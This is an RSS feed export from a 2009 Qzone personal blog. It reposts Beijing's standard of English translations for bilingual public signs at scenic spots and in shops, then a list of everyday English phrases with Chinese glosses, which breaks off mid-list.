<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[糖包的麻麻]]></title>
<description><![CDATA[εθз  果子店 εθз]]></description>
<link>http://326199283.qzone.qq.com</link>
<lastBuildDate>Fri, 27 Nov 2009 03:07:19 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Sat, 31 Oct 2009 05:58:28 GMT</pubDate>

<item>
<title><![CDATA[公共场所标识翻译-2]]></title>
<link>http://326199283.qzone.qq.com/blog/1256968708</link>
<description><![CDATA[<br>公共场所标识翻译-2<br>2009-10-17 13:33<br>附　录　A<br>（规范性附录）<br>景区景点双语标识的英文译法<br>A.1　警告提示信息 <br>表A.1 警告提示信息<br>序号 中文名称 英文译文<br>1 严禁攀登 No Climbing<br>2 严禁倚靠 Stand Clear/No Leaning <br>3 严禁攀折 No Picking <br>4 严禁滑冰 No Skating <br>5 严禁携带宠物 No Pets Allowed<br>6 严禁中途下车 No Drop Off between Stops <br>7 禁止游泳 No Swimming<br>8 禁止钓鱼 No Fishing<br>9 禁止排放污水 No Waste Water Discharge <br>10 禁止无照经营 No Unlicensed Vendors<br>11 禁止狩猎 No Hunting<br>12 禁止燃放烟花爆竹 No Fireworks Allowed/Fireworks Prohibited <br>13 禁止携带易燃易爆物品 Inflammables &amp; Explosives Strictly Prohibited <br>14 禁止速降 Downhill Skiing Prohibited<br>15 禁止雪道中间停留 Don’t Stop on Ski Slope<br>16 禁止由此滑行 No Skiing Here<br>17 禁止开窗 Keep Windows Closed/Don’t Open Windows<br>18 非机动车禁止入内 Motor Vehicles Only<br>19 雷雨天禁止拨打手机 Cellphones Prohibited during Thunderstorms<br>20 卧床请勿吸烟 Don’t Smoke in Bed<br>21 殿内请勿燃香 Don’t Burn Incense in the Hall <br>22 高血压、心脏病患者以及晕车、晕船、酗酒请勿乘坐 Drunks, sufferers of hypertension, heart disease and motion sickness not allowed on board. <br>23 防洪通道，请勿占用 Flood Control Channel. Keep Clear!<br>24 非游览区，请勿进入 No Admittance/No Visitors<br>25 1米以下儿童须家长陪同乘坐 Children under 1 meter must be accompanied by an adult.<br>26 酒后不能上船 Those under the influence of alcohol not allowed.<br>27 请抬起护栏 Please Raise the Guardrail<br>28 请放下护栏 Please Lower the Guardrail<br>29 请您不要坐在护栏上边 Don’t Sit on Guardrail <br>30 前方弯路慢行 Bend Ahead. Slow Down! <br>31 请自觉维护场内卫生环境 Please Keep the Area Clean/Please Don’t Litter<br>32 请遵守场内秩序 Please Keep Order <br><br>表A.1（续）<br>序号 中文名称 英文译文<br>33 请您注意上方 Watch Your Head <br>34 请在台阶下等候 Please Stand Clear of the Steps<br>35 请您不要随意移动隔离墩 Don’t Move Barriers <br>36 请您穿好救生衣 Please Wear Life Vest<br>37 请爱护洞内景观 Please Help to Protect the Cave Scenery<br>38 请沿此路上山 Climbing Route/To the Top ↗ <br>39 请勿投食 Don’t Feed the Animals <br>40 请勿惊吓动物 Don’t Frighten the Animals<br>41 请勿拍打玻璃 Don’t Tap on the Glass<br>42 请勿将手臂伸出车外 Keep Arms inside Carriage<br>43 请按顺序出入 Please Line Up<br>44 请爱请护林木 Please Protect the Trees <br>45 请保护古树 Please Protect Heritage Trees<br>46 请保护古迹 Please Protect Historic Sites<br>47 请爱护景区设施 Please Protect Facilities<br>48 请爱护文物/保护文物 Please Protect Cultural Relics<br>49 请尊重少数民族习俗 Please Respect Ethnic Customs <br>50 参观路线 Visitor Route <br>51 门票价格/票价 Ticket Price<br>52 危险路段 Dangerous Area<br>53 游客须知/游园须知 Notice to Visitors <br>54 景区简介 Introduction<br>55 单行线 One Way <br>56 敬告 Attention <br>57 当日使用，逾期作废 Use on Day of Issue Only <br>58 凭票入场 Ticket Holders Only<br>59 团队入口 Group Tour Entrance<br>60 缆车入口 Cable Car Entrance <br>61 临时出口 Temporary Exit<br>62 火警出口 Fire Exit<br>63 月票 Monthly Ticket<br>64 年票 Annual Ticket<br>65 优惠办法 Discount<br>66 淡季时间 Low Season/Off Season<br>67 旺季时间 High Season/Peak Season<br>68 集体票 Group Tour Tickets<br>69 允许拍照留念 Photos Allowed<br>70 票已售完 Sold Out<br>71 票已售出，概不退换 No Refund. No Exchange<br>72 开放时间 Open Hours/Business Hours<br><br>表A.1（续）<br>序号 中文名称 英文译法<br>73 系好安全带 Fasten Safety Belt<br>74 开园时间 Opening Time<br>75 闭园时间 Closing Time<br>76 表演时间 Show Time<br>77 展板 Display Boards <br>78 布告栏 Bulletin <br>79 游客投诉电话 Complaints Hotline<br>80 游客咨询电话 Inquiry Hotline<br>81 游客报警电话（110） Police Call 110 <br>82 示意图（导游图） Sketch Map <br>83 游览图 Tourist Map<br>84 有佛事活动，请绕行 Detour. Buddhist Ceremony in Progress.<br>85 风力较大勿燃香，请敬香 Windy. No Incense Burning! <br>86 内部施工，暂停开放 Under Construction. Temporarily Closed.<br>87 1.2米以下儿童免票 Free for Children under 1.2 Meters<br>88 原路返回 Please Return by the Way You Came<br>89 二十四小时营业 24-Hour Service<br>A.2　功能设施信息<br>表 A.2 功能设施信息<br>序号 中文名称 英文译法<br>1 售票处 Ticket Office/Tickets<br>2 游客中心 Tourist Center <br>3 客房部 Guest Room Department<br>4 游船码头 Cruise Terminal <br>5 办公区 Administrative Area <br>6 公园管理处 Park Administrative Office<br>7 广播室 Broadcasting Room<br>8 游船 Sightseeing Boat<br>9 索道 Cableway<br>10 缆车 Cable Car<br>11 拱桥 Arch Bridge<br>12 展览馆/陈列馆 Exhibition Hall/Exhibition Center <br>13 陈列室 Exhibition Room/Display Room<br>14 展区 Exhibition Area/Display Area<br>15 展厅 Exhibition Hall/Display Hall<br>16 故居 Former Residence<br><br>表 A.2（续）<br>序号 中文名称 英文译法<br>17 团体接待 Group Tour <br>18 休息处 Lounge <br>19 导游处 Guide Service <br>20 表演区 Performance Area<br>21 游乐场/游乐园 Amusement Park<br>22 儿童游乐场/儿童乐园 Children’s Playground<br>23 民族歌舞 Folk Dances <br>24 手工艺展示 Handicraft Display <br>25 特色餐饮 Food Specialties <br>26 民族特色街 Ethnic Culture Street<br>27 导游亭 Tour Guide Booth <br>28 模型 Model <br>29 主廊 Main Corridor<br>30 车道 Vehicle Lane <br>31 农家院 Farm House <br>32 专题展区 Theme Display<br>33 大石桥 Great Stone Bridge<br>34 博物馆 Museum <br>35 塔 Pagoda/Dagoba(藏式塔)<br>36 宫、院 Palace <br>37 亭、阁 Pavilion <br>38 寺 Monastery (Temple) <br>39 牌楼 Memorial Archway<br>40 桥 Bridge <br>41 廊 Corridor<br>42 牌坊 Memorial Gateway<br>43 庙 Temple <br>44 观堂 Taoist Temple<br>45 遗址 Historic Site <br>46 书房 Study Room<br>47 瀑布 Waterfall <br>48 滑雪场 Ski Field <br>49 滑雪道 Ski Slope<br>50 拓展区 Outdoor Development Area <br>51 狩猎区 Hunting Area<br>52 XX 养殖场 XX Farm <br>53 宠物乐园 Pet Paradise <br>54 无障碍售票口 Wheelchair Accessible<br>55 中央展厅 Central Exhibition Hall/Central Display Hall<br><br>表 A.2（续）<br>序号 中文名称 英文译法<br>56 报告厅 Auditorium<br>57 展厅入口 Entrance <br>58 休闲区 Leisure Area<br>59 贵宾厅 VIP Hall<br>60 序厅 Lobby<br>61 阅览室 Reading Room<br>62 贵宾通道 VIP Only <br>63 员工通道 Staff Only <br>64 租赁车 Car Rental <br>65 上楼楼梯 Upstairs <br>66 下楼楼梯 Downstairs <br>67 步行街 Pedestrian Street <br>68 货币兑换 Currency Exchange <br>69 走失儿童认领 Lost Children Information<br>70 行李手推车 Trolley <br>71 三轮车接待站 Tricycle Tour <br>72 电动游览车 Sightseeing Trolley <br>73 服装出租处 Costume Rental <br>74 自行车租赁处 Bicycle Rental <br>75 租船处 Boat Rental<br>76 旅游纪念品商店 Souvenir Shop <br>77 字画店 Calligraphy &amp; Painting Shop <br>78 公园 Park <br>79 儿童公园 Children’s Park<br>80 雕塑公园 Sculpture Park<br>81 体育公园 Sports Park<br>82 动物园 Zoo<br>83 植物园 Botanical Garden<br>84 街旁游园 Community Park<br>85 盆景园 Mini-Scape Garden/Bonsai Garden<br>86 景观 Scenery<br>87 景区 Scenic Area<br>88 景点 Scenic Spot<br>89 森林浴 Forest Bath <br>90 空气浴 Air Bath<br>91 温泉浴 Hot Spring Bath<br>92 日光浴 Sun Bath<br><br>表 A.2（续）<br>序号 中文名称 英文译法<br>93 泥沙浴 Mud and Sand Bath<br>94 摄像室 Photo Studio<br>95 无烟景区 Smoke-Free Scenic Area<br>96 大型水滑梯/戏水滑道 Water Slide<br>97 收费停车场 Pay Parking <br>98 茶室 Tea House<br>99 游泳池 Swimming Pool<br>100 残疾人客房 Accessible Guestroom <br>101 吸烟区 Smoking Area<br>102 非吸烟区 Non-Smoking Area <br>103 国家级文物保护单位 State Protected Historic Site<br>104 市级文物保护单位 Municipality Protected Historic Site/City Protected Historic Site <br>105 区级文物保护单位 District Protected Historic Site <br>106 爱国主义教育基地 Patriotic Education Base<br>107 浅水区 Shallow Water<br>108 深水区 Deep Water<br>109 采摘区 Fruit-Picking Area<br>110 工农业旅游示范点 Industrial and Agricultural Site<br>111 游览观光车 Sightseeing Trolley/Sightseeing Bus<br>112 标本室 Specimen Room<br>113 观赏区 Viewing Area<br>114 投喂区 Feeding Area<br>115 触摸区 Petting Area<br>116 科技馆 Science &amp; Technology Hall<br>117 导览册 Guide Book<br>118 导览机 Audio Guide<br>119 世界文化遗产 World Cultural Heritage<br>A.3　服务类信息<br>表 A.3 服务类信息<br>序号 中文名称 英文译法<br>1 导游服务/讲解服务 Tour Guide Service<br>2 照相服务 Photo Service <br>3 邮政服务 Postal Service<br>4 声讯服务 Audio Guide<br>5 票务服务 Ticket Service/Tickets <br>6 残疾人服务 Service for Disabled <br>7 免费 Free Admission<br><br>表 A.3（续）<br>序号 中文名称 英文译法<br>8 赠票 Complimentary Ticket<br>9 欢迎光临 Welcome<br>10 宣传资料 Tourist Brochure/Travel Brochure <br>11 半价 50% Off/Half Price/50% Discount<br>12 谢谢合作 Thanks for Your Cooperation<br>13 信用卡支付 Credit Cards Accepted<br>14 提供拐杖 Crutches Available<br>15 提供轮椅 Wheelchairs Available<br>16 游程信息 Itinerary Information/Travel Info<br><br>A.4　其他信息<br>表 A.4 其他信息<br>序号 中文名称 英文译法<br>1 自动控制 Auto-Control<br>2 多媒体 Multi-Media<br>3 地质年代 Geologic Age <br>4 大事年表 Chronology of Events<br>5 自画像 Self-Portrait <br>6 碑记 Tablet Inscription <br>7 雕塑作品 Sculpture <br>8 石刻 Stone Carving <br>9 草原 Grassland <br>10 古树名木 Old and Famous Trees <br>11 温室采摘 Greenhouse Fruit Picking<br>12 数字特技 Digital Stunt <br>13 花卉 Flowers &amp; Plants <br>14 野营露营 Camping<br>15 消闲散步 Strolling<br>16 郊游野游 Outing<br>17 垂钓 Fishing<br>18 登山攀岩 Mountaineering/Rock-Climbing<br>19 揽胜探险 Expedition<br>20 科普教育 Popular Science Education<br>21 游戏娱乐 Entertainment <br>22 健身 Bodybuilding<br>23 演艺 Art Performance<br>24 水上运动 Aquatic Sports<br>25 滑水 Surfing<br><br>表 A.4（续）<br>序号 中文名称 英文译法<br>26 潜水 Scuba Diving<br>27 冰雪活动 Ice Skating &amp; Skiing<br>28 滑草活动 Grass Skiing<br>29 滑沙 Sand Skiing<br>30 水上漂流 Drifting <br>31 数字特技 Digital Stunt<br>32 电影录音 Film Recording<br>33 电影剪辑 Film Editing<br>34 电影洗印 Film Processing<br>35 电影拍摄 Filming<br>36 电影动画 Film Animation <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1256968708#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 31 Oct 2009 05:58:28 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1256968708</guid>
</item>

<item>
<title><![CDATA[公共场所双语标识英文译法-3]]></title>
<link>http://326199283.qzone.qq.com/blog/1256968527</link>
<description><![CDATA[<br>公共场所双语标识英文译法-3<br>2009-10-17 13:34<br>公共场所双语标识英文译法<br>English Translation of Public Signs<br>第3部分 商业服务业<br>Part 3: Commercial Services<br>1　范围<br>DB11/T 334本部分规定了商业服务业双语标识英文译法的原则。<br>本部分适用于商业服务业公共场所双语标识的英文译法，也适用于跟文化相关的服务行业领域。<br>2　规范性引用文件<br>下列文件中的条款通过本部分的引用而成为本部分的条款。凡是注日期的引用文件，其随后所有的修改单（不包括勘误的内容）或修订版均不适用于本部分,然而，鼓励根据本部分达成协议的各方研究是否可使用这些文件的最新版本。凡是不注日期的引用文件，其最新版本适用于本部分。<br>GB 18106 零售业态分类<br>3　术语和定义<br>下列术语和定义适用于本部分。<br>3.1　<br>商业 commerce<br>主要指商品在流通环节中的批发活动和零售活动。<br>3.2　<br>服务业 service industry<br>包括住宿业、餐饮业、美容美发业、洗染业、修理业、典当业、拍卖业、租赁业、摄影业、家政业、旅馆业的企业和从业人员。<br>4　分类<br>商业服务业的双语标识按内容可分为：警示提示信息、功能设施、企业名称及业态类、经营服务信息、商品名称、服务人员名称、部门名称等。<br>5　具体要求<br>5.1　企业名称及业态类<br>业态类的分类参照GB 18106 执行。<br>5.1.1　购物中心、广场、商场和商店<br>5.1.1.1　规模巨大，集购物、休闲、娱乐、饮食等于一体，包括百货店、大卖场以及众多专业连锁零售店在内的超级商业中心译为Mall，如购物中心或大型商场都译为Shopping Mall。<br>5.1.1.2　中等规模的购物中心译为Shopping Center，如市区购物中心Urban Shopping Center。<br>5.1.1.3　只针对货品进行分类销售、不具有休闲娱乐等多种功能的较小规模的商店、店铺译为Store或Shop，如百货公司 Department Store，精品店 Fancy Shop。<br>5.1.1.4　商业性写字楼群或购物中心译为Plaza，如中环广场 Central Plaza；而一般在城市中用作花园或休闲场所，周围被街道和建筑物环绕的四方形开放区域则译为Square，如西单文化广场Xidan Culture Square。某大型超市或商场的分店，一般译为Branch表示，如北京翠徽大厦（股份）牡丹园店 Beijing Cuiwei Tower (Holdings), Mudanyuan Branch。<br>5.1.2　酒家、酒楼、酒店<br>酒家、酒楼、酒店等提供餐饮服务，性质就是饭店、餐馆的地方，全部翻译为Restaurant；而专门供人喝酒、小憩的“酒馆、酒店”则译为Wineshop。<br>5.1.3　文化娱乐场所<br>剧院通常译为Theater，书店通常译为Book Store，图书馆通常译为Library，文化馆通常译为Cultural Center，音像店通常译为Audio-Video Shop，网吧通常译为Internet Café，其他娱乐场所可统一翻译为Entertainment Place/Entertainment Area。<br>5.1.3.1　在剧场中，一般情况下表示功能的区域译为Area，如贵宾区 VIP Area；特殊情况如表示座位的区域译为Seat，如东台单号区 East Platform Odd Number Seats。<br>5.1.4　已经被社会普遍接受的单位名称，继续延用，如同仁堂药店 Tongrentang Pharmacy。<br>5.2　经营服务信息<br>通常采用英文直接翻译，应符合国际通用惯例，如特卖场，Special Sales；电话号码簿、信息查询，Yellow Pages。<br>5.3　商品名称<br>5.3.1　服装<br>5.3.1.1　作为衣服的总称，包含衣裤、鞋帽、手套等，一般译为Clothing或Clothes，如夏装 Summer Clothing、成衣 Ready-Made Clothes。<br>5.3.1.2　流行、时尚服饰译为Fashion。<br>5.3.1.3　妇女、儿童服装或特殊场合穿的礼服译为Dress，如民族服装 Ethnic Dress、晚礼服 Evening Dress、夏季连衣裙 Summer Dress。<br>5.3.1.4　套装（男人穿的上衣、背心和裤子，或女人穿的上衣和裙子）译为Suit，如男式西装 Men’s Suit。<br>5.3.1.5　男士服装译为Men’s Wear； 女士服装译为Women’s Wear。<br>5.3.2　书籍<br>通常分为文学类Literature、艺术类Arts、学术类Academic Books、工商类Business Administration、科学类Science、实用类Practical Books、教育类Education、工程类Engineering、电脑类Computer、实业类Industry、其他 Miscellaneous等11大类图书销售区。<br>5.3.3　其他商品<br>一般的，其他商品的分类直接采用其对应的英文直接翻译。<br>5.4　服务人员名称<br>服务人员用在不同的行业和场合，采取不同的英文译法。如在餐饮业中，男性服务员用Waiter、女性服务员用Waitress表示；在商店里服务员用 Assistant/Clerk表示；如店员 Shop Assistant、 Sales Clerk，火车上的服务人员用Attendant表示；轮船、飞机上的服务人员用Steward/Stewardess（女性）表示。<br>5.5　部门名称<br>在商业服务业企业中，部门一般翻译成Department，如人力资源部 Human Resources Department、财务部 Financial Department。<br><br><br>附　录　A<br>（规范性附录）<br>商业服务业双语标识的英文译法<br>A.1　警示提示信息 <br>警示提示信息译法见表A.1。<br>表 A.1 警示提示信息<br>序号 中文名称 英文名称<br>1 暂停服务 Temporarily Out of Service<br>2 暂停收款 Temporarily Closed <br>3 顾客止步 Staff Only<br>4 禁止通过 No Admittance<br>5 营业时间 Open Hours/Business Hours<br>6 请扶好站好 Please Use Handrail<br>7 票款当面点清/找零请当面点清 Please check your change before leaving<br>8 进入超市请先存包 Please Deposit Your Bags <br>9 请勿将饮料带入场内 No Drinks from Outside <br>10 请排队等候入场 Please Line Up<br>11 请保持场内清洁 Please Keep the Area Clean/Don’t Litter<br>12 请关闭通讯设备 Please Turn Off Cellphones &amp; Beepers <br>13 请将手机和寻呼机静音 Please Mute Cellphones &amp; Beepers<br>14 禁止未成年人进入 Adults Only<br>A.2　企业名称及业态类信息<br>企业名称及业态类信息译法见表A.2。<br>表 A.2 企业名称及业态类信息<br>序号 中文名称 英文名称<br>1 XX大厦 XX Tower/Plaza/Mansion/Building<br>2 贸易中心 Trade Center<br>3 商场 Store<br>4 百货商场 Department Store<br>5 购物中心 Shopping Center <br>6 大型购物中心 Shopping Mall<br>7 社区购物中心 Community Shopping Center<br>8 市区购物中心 Urban Shopping Center<br>9 城郊购物中心 Suburban Shopping Center<br>10 食品店 Food Store<br>11 电器城 Home Appliances Store / Home Appliances Center<br>12 音像制品店 Audio-Video Shop<br>13 眼镜店 Optical Shop<br>14 药店 Pharmacy<br>表A.2 （续）<br>序号 中文名称 英文名称<br>15 书店 Bookstore<br>16 酒吧 Bar/Pub<br>17 形象设计中心 Image Design Center<br>18 发型工作室 Hair Studio<br>19 餐馆 Restaurant<br>20 美食城 Food Palace<br>21 美食街 Food Street/Food Court<br>22 美食广场 Food Plaza<br>23 中式快餐 Chinese Fast Food<br>A.3　文化娱乐类信息<br>A.3.1　书店类信息译法见表A.3.1。<br>表A.3.1 书店类信息<br>序号 中文名称 英文名称<br>1 文学类 Literature<br>2 小说 Fiction<br>3 传记纪实 Biographies &amp; Non-Fiction<br>4 译作 Translated Works<br>5 诗歌 Poetry<br>6 散文 Prose<br>7 古籍 Ancient Works<br>8 励志 Self-Improvement<br>9 艺术类 Arts<br>10 美术 Fine Arts<br>11 音乐 Music<br>12 戏剧 Theater Arts<br>13 雕塑 Sculpture<br>14 民间工艺 Folk Handicraft<br>15 舞蹈 Dance<br>16 摄影 Photography<br>17 影视 Movies<br>18 书法 Calligraphy<br>19 设计 Design<br>20 学术类 Academic Books<br>21 政治 Politics<br>22 经济 Economics<br>23 文化 Culture<br>24 历史 History<br>25 法学 Law<br>26 语言文字 Languages<br>27 外交 International Relations<br>表A.3.1 （续）<br>序号 中文名称 英文名称<br>28 心理 Psychology<br>29 社会 Sociology<br>30 人类 Anthropology<br>31 哲学 Philosophy<br>32 宗教 Religion<br>33 新闻 Journalism<br>34 考古 Archaeology<br>35 体育 Sports<br>36 工商类 Business Administration<br>37 管理 Administration<br>38 金融证券 Finance &amp; Securities<br>39 保险 Insurance<br>40 财务 Finance<br>41 贸易 Trade<br>42 营销 Marketing<br>43 广告 Advertising<br>44 投资理财 Investment &amp; Financing<br>45 科学类 Science<br>46 环境 Environmental Science<br>47 生物 Biology<br>48 数学 Mathematics<br>49 物理 Physics<br>50 化学 Chemistry<br>51 医学 Medical Science<br>52 动物 Zoology<br>53 植物 Botany<br>54 天文 Astronomy<br>55 地理 Geography<br>56 军事 Military Science<br>57 基础科学 Basic Sciences<br>58 实用类 Practical Books<br>59 休闲娱乐 Recreation &amp; Entertainment<br>60 烹饪菜谱 Cook Books<br>61 家居 Home Furnishing<br>62 服饰美容 Fashion &amp; Beauty<br>63 旅游 Tourism<br>64 保健 Healthcare<br>65 电脑 Computer Science<br><br><br>表A.3.1 （续）<br>序号 中文名称 英文名称<br>66 生活百科 Household Encyclopedia<br>67 家用电器 Household Electric Appliances<br>68 教育类 Education<br>69 幼儿教育 Preschool Education<br>70 小学教育 Primary School Education<br>71 中学教育 Secondary School Education<br>72 高等教育 Higher Education<br>73 成人教育/继续教育 Continuing Education<br>74 留学 Overseas Study<br>75 外语 Foreign Languages<br>76 素质教育 Character Building Education<br>77 科普读物 Popular Science <br>78 工具书类 References<br>79 字典/辞典 Dictionaries<br>80 百科 Encyclopedias<br>81 统计 Statistics<br>82 年鉴 Yearbooks<br>83 名录 Directories/Who’s Who<br>84 索引 Indexes<br>85 工程类 Engineering<br>86 电机 Electrical Appliances<br>87 电子 Electronics<br>88 力学 Dynamics<br>89 水利 Water Conservancy/Water Conservation<br>90 航空、航天 Aeronautics and Astronautics<br>91 建筑 Architecture<br>92 交通运输 Transportation<br>93 材料 Material Science<br>94 机械 Mechanics<br>95 仪器仪表 Instruments and Apparatuses<br>96 能源与环境 Energy and Environment<br>97 其他工程 Other Engineering<br>98 电脑类 Computer<br>99 基础 Basics<br>100 软件 Software<br>101 硬件 Hardware<br>102 网络通信 Network Communications<br>103 实业类 Industry<br>104 工业 Industry<br>105 农业 Agriculture<br>106 林业 Forestry<br>107 渔业 Fisheries<br>108 畜牧业 Animal Husbandry<br>109 其他 Miscellaneous<br>110 教材及辅导资料 Teaching Materials<br>111 特价图书 Discounted Books<br>112 进口图书 Imported Books<br>113 图书销售排行榜 Book Sales Ranking<br>114 代办邮寄 Mailing Service<br>115 图书查询台 Book Search<br>116 推荐图书 Recommended Books<br>117 畅销书/热卖 Best Sellers <br>118 动漫图书 Cartoons<br>119 图书收购 Used Books Wanted<br>120 新书推荐 New Arrivals<br>121 期刊销售 Journals<br>122 新刊推荐 New Journals <br>123 CD专区 CDs<br>124 VCD专区 VCDs<br>125 DVD专区 DVDs<br>126 EVD影片 EVD Films<br>127 LD激光视盘 Laser Discs<br>128 本周排行 Weekly Best Sellers<br>129 本月排行 Monthly Best Sellers<br>130 原版引进 Imported <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1256968527#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 31 Oct 2009 05:55:27 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1256968527</guid>
</item>

<item>
<title><![CDATA[[转]这些会了你英语口语就会了]]></title>
<link>http://326199283.qzone.qq.com/blog/1256411581</link>
<description><![CDATA[1. I see． 我明白了。 <br>2. I quit! 我不干了! <br>3. Let go! 放手! <br>4. Me too． 我也是。 <br>5. My god! 天哪! <br>6. No way! 不行! <br>7. Come on． 来吧(赶快) <br>8. Hold on． 等一等。 <br>9. I agree。 我同意。 <br>10. Not bad． 还不错。 <br>11. Not yet． 还没。 <br>12. See you． 再见。 <br>13. Shut up! 闭嘴! <br>14. So long． 再见。 <br>15. Why not? 好呀! (为什么不呢?) <br>16. Allow me． 让我来。 <br>17. Be quiet! 安静点! <br>18. Cheer up! 振作起来! <br>19. Good job! 做得好! <br>20. Have fun! 玩得开心! <br>21. How much? 多少钱? <br>22. I'm full． 我饱了。 <br>23. I'm home． 我回来了。 <br>24. I'm lost． 我迷路了。 <br>25. My treat． 我请客。 <br>26. So do I． 我也一样。 <br>27. This way。 这边请。 <br>28. After you． 您先。 <br>29. Bless you! 祝福你! <br>30. Follow me． 跟我来。 <br>31. Forget it! 休想! (算了!) <br>32. Good luck! 祝好运! <br>33. I decline! 我拒绝! <br>34. I promise． 我保证。 <br>35. Of course! 当然了! <br>36. Slow down! 慢点! <br>37. Take care! 保重! <br>38. They hurt． (伤口)疼。 <br>39. Try again． 再试试。 <br>40. Watch out! 当心。 <br>41. What's up? 有什么事吗? <br>42. Be careful! 注意! <br>43. Bottoms up! 干杯(见底)! <br>44. Don't move! 不许动! <br>45. Guess what? 猜猜看? <br>46. I doubt it 我怀疑。 <br>47. I think so． 我也这么想。 <br>48. I'm single． 我是单身贵族。 <br>49. Keep it up! 坚持下去! <br>50. Let me see．让我想想。 <br>51. Never mind．不要紧。 <br>52. No problem! 没问题! <br>53. That's all! 就这样! <br>54. Time is up． 时间快到了。 <br>55. What's new? 有什么新鲜事吗? <br>56. Count me on 算上我。 <br>57. Don't worry． 别担心。 <br>58. Feel better? 好点了吗? <br>59. I love you! 我爱你! <br>60. I'm his fan。 我是他的影迷。 <br>61. Is it yours? 这是你的吗? <br>62. That's neat． 这很好。 <br>63. Are you sure? 你肯定吗? <br>64. Do l have to 非做不可吗? <br>65. He is my age． 他和我同岁。 <br>66. Here you are． 给你。 <br>67. No one knows . 没有人知道。 <br>68. Take it easy． 别紧张。 <br>69. What a pity! 太遗憾了! <br>70. Any thing else? 还要别的吗? <br>71. To be careful! 一定要小心! <br>72. Do me a favor? 帮个忙，好吗? <br>73. Help yourself． 别客气。 <br>74. I'm on a diet． 我在节食。 <br>75. Keep in Touch． 保持联络。 <br>76. Time is money． 时间就是金钱。 <br>77. Who's calling? 是哪一位? <br>78. You did right． 你做得对。 <br>79. You set me up! 你出卖我! <br>80. Can I help you? 我能帮你吗? <br>81. Enjoy yourself! 祝你玩得开心! <br>82. Excuse me，Sir． 先生，对不起。 <br>83. Give me a hand! 帮帮我! <br>84. How's it going? 怎么样? <br>85. I have no idea． 我没有头绪。 <br>86. I just made it! 我做到了! <br>87. I'll see to it 我会留意的。 <br>88. I'm in a hurry! 我在赶时间! <br>89. It's her field． 这是她的本行。 <br>90. It's up to you． 由你决定。 <br>91. Just wonderful! 简直太棒了! <br>92. What about you? 你呢? <br>93. You owe me one．你欠我一个人情。 <br>94. You're welcome． 不客气。 <br>95. Any day will do． 哪一天都行夕 <br>96. Are you kidding? 你在开玩笑吧! <br>97. Congratulations! 祝贺你! <br>98. T can't help it. 我情不自禁。 <br>99. I don't mean it. 我不是故意的。 <br>100. I'll fix you Up． 我会帮你打点的 <br>101. It sounds great!． 听起来很不错。 <br>102. It's a fine day。 今天是个好天。 <br>103. So far，So good． 目前还不错。 <br>104. What time is it? 几点了? <br>105. You can make it! 你能做到! <br>106. Control yourself! 克制一下! <br>107. He came by train． 他乘火车来。 <br>108. He is ill in bed． 他卧病在床。 <br>109. He lacks courage． 他缺乏勇气。 <br>110. How's everything? 一切还好吧? <br>111. I have no choice． 我别无选择。 <br>112. I like ice-cream． 我喜欢吃冰淇淋。 <br>113. I love this game． 我钟爱这项运动。 <br>114. I'll try my best． 我尽力而为。 <br>115. I'm On your side． 我全力支持你。 <br>116. Long time no see! 好久不见! <br>117. No pain，no gain． 不劳无获。 <br>118. Well，it depends 噢，这得看情况。 <br>119. We're all for it． 我们全都同意。 <br>120. What a good deal! 真便宜! <br>121. What should I do? 我该怎么办？ <br>122. You asked for it! 你自讨苦吃! <br>123. You have my word． 我保证。 <br>124. Believe it or not! 信不信由你! <br>125. Don't count on me．别指望我。 <br>126. Don't fall for it! 别上当! <br>127. Don't let me down． 别让我失望。 <br>128. Easy come easy go． 来得容易，去得快。 <br>129. I beg your pardon． 请你原谅。 <br>130. I beg your pardon? 请您再说一遍(我没有听清)。 <br>131. I'll be back soon． 我马上回来。 <br>132. I'll check it out． 我去查查看。 <br>133. It’s a long story． 说来话长。 <br>134. It’s Sunday today． 今天是星期天。 <br>135. Just wait and see! 等着瞧! <br>136. Make up your mind． 做个决定吧。 <br>137. That's all I need． 我就要这些。 <br>138. The view is great． 景色多么漂亮! <br>139. The wall has ears． 隔墙有耳。 <br>140. There comes a bus． 汽车来了。 <br>141. What day is today? 今天星期几? <br>142. What do you think? 你怎么认为？ <br>143. Who told you that? 谁告诉你的? <br>144. Who's kicking off? 现在是谁在开球? <br>145. Yes，I suppose So． 是的，我也这么认为。 <br>146. You can't miss it 你一定能找到的。 <br>147. Any messages for me? 有我的留言吗? <br>148. Don't be so modest． 别谦虚了。 <br>149. Don't give me that! 少来这套! <br>150. He is a smart boy． 他是个小机灵鬼。 <br>151. He is just a child． 他只是个孩子。 <br>152. I can't follow you． 我不懂你说的。 <br>153. I felt sort of ill. 我感觉有点不适。 <br>154. I have a good idea! 我有一个好主意。 <br>155. It is growing cool． 天气渐渐凉爽起来。 <br>156. It seems all right． 看来这没问题。 <br>157. It's going too far． 太离谱了。 <br>158. May I use your pen? 我可以用你的笔吗? <br>159. She had a bad cold． 她患了重感冒。 <br>160. That's a good idea． 这个主意真不错。 <br>161. The answer is zero． 白忙了。 <br>162. What does she like? 她喜欢什么? <br>163. As soon as possible! 越快越好! <br>164. He can hardly speak． 他几乎说不出话来。 <br>165. He always talks big． 他总是吹牛。 <br>166. He won an election． 他在选举中获胜。 <br>167. I am a football fan． 我是个足球迷。 <br>168. If only I could fly． 要是我能飞就好了。 <br>169. I'll be right there． 我马上就到。 <br>170. I'll see you at six． 我六点钟见你。 <br>171. IS it true or false? 这是对的还是错的? <br>172. Just read it for me． 就读给我听好了。 <br>173. Knowledge is power． 知识就是力量。 <br>174. Move out of my way! 让开! <br>175. Time is running out． 没时间了。 <br>176. We are good friends． 我们是好朋友。 <br>177. What's your trouble? 你哪儿不舒服? <br>178. You did fairly well! 你干得相当不错1 <br>179. Clothes make the man． 